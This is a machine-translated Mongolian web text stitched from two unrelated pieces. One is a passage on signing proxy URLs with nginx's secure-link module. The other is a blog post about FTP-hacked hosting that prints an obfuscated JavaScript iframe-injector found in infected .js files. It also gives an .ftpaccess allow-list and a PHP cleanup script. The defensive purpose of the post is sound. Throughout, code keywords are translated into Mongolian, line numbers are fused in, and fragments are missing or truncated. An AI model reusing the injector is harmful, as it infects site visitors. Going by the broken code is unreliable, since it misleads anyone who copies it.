    Одоо проксиг зөвхөн админ самбараар дамжуулан ажиллуулъя. Вэбмастер өөрийн сайтын URL руу орох үед бид сервер рүү хурдан гүйж, одоогийн TimeStamp + 1 цаг, URL өөрөө болон супер нууцаас md5 хэш үүсгэдэг:
    эцсийн мөр md5Me = timeStampExpires + urlEncoded + "SUPERSECRET"; эцсийн MessageDigest md = MessageDigest.getInstance("MD5"); md.reset(); md.update(md5Me.getBytes("UTF-8")); Мөр код = Base64.encodeBase64String(md.digest()); код = code.replaceAll("/", "_"); код = code.replaceAll("\\+","-");
    Мөн кодонд бид md5 мөрийг ердийн hex хэлбэрээр биш, харин base64 кодчилолоор хүлээн авдаг бөгөөд үүнээс үүдэн гарсан md5 дээр бид ташуу зураас, нэмэх тэмдэгтүүдийг доогуур зураас, зураасаар хачирхалтай сольж байгааг анхаарна уу.
    Үнэн хэрэгтээ ngnix нь base64 Filename Safe Alphabet tools.ietf.org/html/rfc3548#page-6 ашигладаг.
    Мөн Java нь каноник суурь64 өгдөг.

    Манай админ самбар дээрх аюулгүй md5 серверээс хариу хүлээн авсны дараа бид дараах url хаягийг iframe руу ачаалахыг оролдоно.
    highlighter.indexisto.com/?md5=Dr4u2Yeb3NrBQLgyDAFrHg==&url=http%3A%2F%2Fhabrahabr.ru&expires=1389791582

    Одоо бид nginx HttpSecureLinkModule модулийг тохируулж байна. Энэ модуль нь түүнд ирсэн бүх параметрүүдийн md5-ийг шалгадаг (админ сервлетийн нэгэн адил нууц түлхүүр нь модульд бүртгэгдсэн), холбоосыг задлан шинжилсэн эсэхийг шалгадаг бөгөөд зөвхөн энэ тохиолдолд хүсэлтийг манай прокси сервер рүү дамжуулдаг. .

    Одоо хэн ч админ самбараас гадна манай проксиг ашиглах боломжгүй, мөн манай серверт хүссэн зургийг хаана ч оруулах боломжгүй - энэ нь ямар ч байсан нэг цагийн дараа үхэх болно.

    Энэ бүгд шүү дээ! Google мэдээжийн хэрэг тэмдэглэгээний хэрэгслээр илүү ахисан. Хуудасны элементийг тодорхой тодорхойлохын тулд та ижил төрлийн хэд хэдэн хуудсан дээр ижил элементийг (жишээ нь, нийтлэлийн гарчиг) тэмдэглэх хэрэгтэй. Та xpath-ыг илүү нарийвчлалтай бүтээж, "post-2334" гэх мэт өөр id-уудыг хаяж болох бөгөөд энэ нь зөвхөн нэг хуудсан дээр ажиллах нь ойлгомжтой. Манай админ самбарт одоогоор xpath-ыг гараар засах шаардлагатай бөгөөд хүлээн зөвшөөрөгдөх үр дүнд хүрэх болно.

    Би блогоо дууны үгээр эхлүүлэхийг хүссэн ч маш их үймээн самуунтай долоо хоног байсан тул хүн бүрийг дорвитой нийтлэлээр мэндчилье гэж шийдлээ. Сайн уу?

    Бүтэн долоо хоног миний хостинг байнга хакердаж, бүх JavaScript файлуудыг iframes-ээр халдварласнаар дайны үеэр өнгөрсөн бөгөөд энэ нь 2500 скрипт, вирустай бүх сайтаас багагүй юм.

    Надад нэг өдрийн дотор бүх файлыг цэвэрлэх цаг байсангүй. гарын авлагын горимболон нууц үгээ солих боловч дараагийн өдөр нь бүх зүйл дахин болсон - нууц үг ямар нэгэн байдлаар алдагдсан бөгөөд скриптүүд FTP-ээр дахин амжилттай нэвтэрсэн.

    Долоо хоногийн баасан гариг ​​бол сүүлчийн дусал байсан бөгөөд би серверээ хамгаалах өдрийг өнгөрөөсөн:

  • Серверүүд дээр .ftpaccess тохируулагдсан - ингэснээр таны статикаас бусад бүх IP-ээс серверт FTP хандалтыг хязгаарлах;
  • Би бүх .js файлаас iframe болон вирусыг автоматаар устгах скрипт бичсэн. Тиймээс, дарааллаар нь.
  • Сайтын файлууд нь ftp-ээр дамжуулан файл руу iframe код оруулах замаар л халдварладаг.Өмнө нь би .php, .html файлууд руу оруулахыг олонтаа ажигладаг байсан бөгөөд энэ нь сайтуудыг бүрэн сүйрүүлэхэд хүргэсэн бөгөөд өнөөдөр хортой програм илүү эелдэг болж, зөвхөн оруулга бичих болсон. .js - JavaScript өргөтгөлтэй файлуудад . IFRAME оруулгууд нь файлын төгсгөлд бичигдсэн бөгөөд тодорхой хэлбэрээр (антивирусаар амархан илрүүлдэг) эсвэл кодлогдсон хэлбэрээр (янз бүрийн iframe крипторуудын ажил) байж болно, жишээлбэл:

    оролдох ( q= document.createElement ("u" ) ; q.appendChild (q+ "" ) ; ) catch (qw) ( h=- 012/ 5 ; zz= "a" + "l" ; f= "fr" + "om" + "Ch" ; f+= "arC" ; ) оролдох ( qwe= прототип ; ) catch (brebr) ( zz= "zv" .substr (123 - 122 ) + zz; ss= ; f+= (h) ) ? "ode" : "" ; w= энэ ; e= w[ f.substr (11 ) + zz] ; n= "17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$17.5$13.5$3.5$3.5$. $55.5$54$51$13$27.5$13$26.5$3.5$2$59.5$17.5$17$17.5$26.5" [ ((e) ? "s" : "" ) + "p" + "lit" ] ("a$" .substr (1 ) (i= 6 - 2 - 1 - 2 - 1 ; i- 684 != 0 ; i++ ) ( k= i; ss= ss+ String .fromCharCode (- 1 * h* (3 + 1 * n[ k] ) ) ; ) q= ss; e(q) ; )

    try(q=document.createElement("u");q.appendChild(q+"");)catch(qw)(h=-012/5;zz="a"+"l";f="fr" +"om"+"Ch";f+="arC";)try(qwe=prototype;)catch(brebr)(zz="zv".substr(123-122)+zz;ss=;f+=(h) )?"ode":"";w=this;e=w;n="17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$3.5$2$1.5$56$45.5$54$1.5$56$45.5$54$1.5$56$3.$13$5.3$13$5.3$13$5. .5 $2$59.5 $17.5$17$17.5$26.5"[((e)?"s":"")+"p"+"lit"]("a$".substr(1));for(i=6-2-1-2) -1;i-684!=0;i++)(k=i;ss=ss+String.fromCharCode(-1*h*(3+1*n[k]));)q=ss;e(q ;)

    Энэ бүх бэлгэдлийн эмх замбараагүй байдал үүссэн JavaScript ажил iframe оруулгын уншихад хялбар HTML код болж хувирч, эксплоитийн үйлдлээр дамжуулан сайтын хэрэглэгчдэд вирусын биеийг татаж авдаг. Энэхүү наад захын онол дээр үндэслэн бид вэбсайтын халдвараас өөрсдийгөө хамгаалж эхэлнэ.

    Settings.ftpaccess - серверт FTP хандалтыг хязгаарлах

    Таны ftp нууц үгийг хулгайлдаг вирусууд маш зальтай тул та өөрийгөө хичнээн их хамгаалж байсан ч вирусны эсрэг програмууд хүчгүй, нууц үг алдагдсан байдаг. Би өөр замаар явахыг санал болгож байна - зүгээр л таны ftp руу хандах хандалтыг хаах. Зөвхөн тодорхой IP-ээс FTP хандалтыг зөвшөөрөхийн тулд .ftpaccess файлыг контентын хамт сервер эсвэл сайтуудын фолдерт байрлуулна уу:

    xx.xx.xx.xx-аас зөвшөөрөх xx.xx.xx.xx-аас зөвшөөрөх Бүхнээс татгалзах

    Xx.xx.xx.xx бол FTP үйл ажиллагаа явуулахыг зөвшөөрсөн таны IP бол бусад хүмүүст баяртай.

    Зориулалтын IP авах бол үйлчилгээ үзүүлэгчтэйгээ холбогдоорой!

    Хэрэв та зориулалтын хаяг авч чадахгүй байгаа ч динамик хаягтай бол интернет үйлчилгээ үзүүлэгчийнхээ IP хаягийг гаргаж өгөх хаягийн хүрээг зааж өгч болно, жишээлбэл дараах байдлаар харагдах болно.

    Зөвшөөрөх 212.32.5.0/26 Зөвшөөрөх 158.152.0.0/16 Бүгдээс татгалзах

    Энэ нь хакеруудын таны серверт хандах хандалтыг хязгаарлах болно.

    Бүх iframe оруулах файлуудаас скриптийг автоматаар устгах

    Серверүүд хамгаалагдсаны дараа би сайтад вирус байгаа эсэхийг шалгах скрипт бичиж эхэлсэн бөгөөд бүх байршуулах фолдеруудыг үзэж, контентод iframes байгаа эсэхийг зааж өгсөн файлын форматыг шалгана. Ажлын үр дүн нь .js скриптүүдээс тодорхой жишээн дээр сайтын хуудаснаас хортой кодын оруулгыг устгадаг дараах скрипт байв.

    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 $v) ( $virus_text = $GLOBALS [ "virus_start" ] ; $pos_start = stripos ($v , $GLOBALS [ "virus_start" ] ); $pos_end = stripos ($v , $GLOBALS [ "virus_end" ] ) ; $ virus_text = substr ($v , $pos_start , $pos_end ) ; if ($virus_text != "" ) ( if (! stristr ($v, $virus_text) ) ) ( $nfile = $v; ) else ( if (! $) туг ) ( $flag = үнэн ; хэрэв (in_array ($ffile , $GLOBALS [ "skip_files" ] ) ) echo " - алгассан" ; else ( echo " - халдвар авсан" ; $GLOBALS [ "num_infected" ] ++; ) ) ) ) else ( $ nfile = $ v ; ) ) if ( $ GLOBALS [ "del" ] ) ( $ файл = fopen ($ файлын нэр, "w" ); fwrite ($ файл , implode ($ nfile , "" ) ) ; fclose ($ файл ); ) ) dir_walk("del_virus" , $дир , массив ( "js" ), үнэн , $дир ); echo "Халдвартай тоо = $num_infected " ; ?>

    $v) ( $virus_text = $GLOBALS["virus_start"]; $pos_start = stripos($v, $GLOBALS["virus_start"]); $pos_end = stripos($v, $GLOBALS["virus_end"]); $ virus_text = substr($v, $pos_start, $pos_end); if ($virus_text!= "") ( хэрэв (!stristr($v, $virus_text)) ( $nfile=$v; ) өөр ( хэрэв (!$) туг) ( $flag=true; if (in_array($ffile, $GLOBALS["skip_files"])) echo " - алгассан"; else ( echo " - халдвар авсан"; $GLOBALS["num_infected"]++; )) ) ) ) else ( $nfile=$v; ) ) if ($GLOBALS["del"]) ( $file=fopen($filename,"w"); fwrite($file,implode($nfile,"")) ; fclose($файл); ) ) dir_walk("del_virus", $dir, массив("js"), үнэн, $дир); echo "Халдвартай тоо = $num_infected "; ?>